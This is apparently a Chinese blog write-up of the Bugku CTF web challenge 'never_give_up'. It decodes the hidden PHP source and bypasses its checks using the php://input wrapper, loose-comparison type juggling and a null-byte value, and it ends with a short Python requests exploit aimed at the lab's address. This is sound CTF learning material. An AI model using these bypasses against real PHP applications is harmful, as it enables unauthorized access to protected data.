ctf-web-never_give_up

最新推荐文章于 2024-03-13 17:55:40 发布

榴莲蛋挞

最新推荐文章于 2024-03-13 17:55:40 发布

阅读量412

点赞数

分类专栏： ctf 文章标签：网络安全前端 python

本文链接：https://blog.csdn.net/god_001/article/details/124112964

版权

ctf 专栏收录该内容

32 篇文章 1 订阅

订阅专栏

题目：

打开网址并查看源代码：

发现源代码中有提示1p.html

于是访问网址http://114.67.175.224:11868/1p.html，发现会自动跳转到bugku

尝试访问view-source:http://114.67.175.224:11868/1p.html，可以看到该网页源代码：

escape解码Words，得到：

对内的编码尝试使用base64解码得到：

%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E

再次escape解码得到：

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>

发现想要得到flag需要判断条件：$data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4为真：

1、$data=="bugku is a nice plateform!"

根据前提条件可以看出，$data = @file_get_contents($a,'r');但是根据

if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}

可知，$a内容不能包含'.'，因此这里不能上传$a文件，要想得到$data=="bugku is a nice plateform!"，可以对@file_get_contents($a,'r')使用php://input绕过：

a)先使得$a=php://input；b)再post传参@file_get_contents想要返回的数据。

2、 $id==0

根据

if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}

可知不能直接传参$id=0，不然!$_GET['id']=!0为真，将会跳出整个脚本

因此可以利用php弱相关，如使得$id="0xas"，使得判断条件为假且$id==0

3、strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4

想要同时满足以上三个条件，对于$b的第一个字符：

1）可以使用结束符%00，使得$b=%0011111

2）也可以使用正则表达式，如$b=?11111或者$b=.11111,$b=*11111都行（后五个字符随意）

如此，可以编写：

import requests
url="http://114.67.175.224:11868/hello.php?id=0x&b=%0011111&a=php://input"
headers={
    "Content-Type":"application/json"
    }

pp=requests.post(url,headers=headers,data="bugku is a nice plateform!").text
print(pp)

得到flag：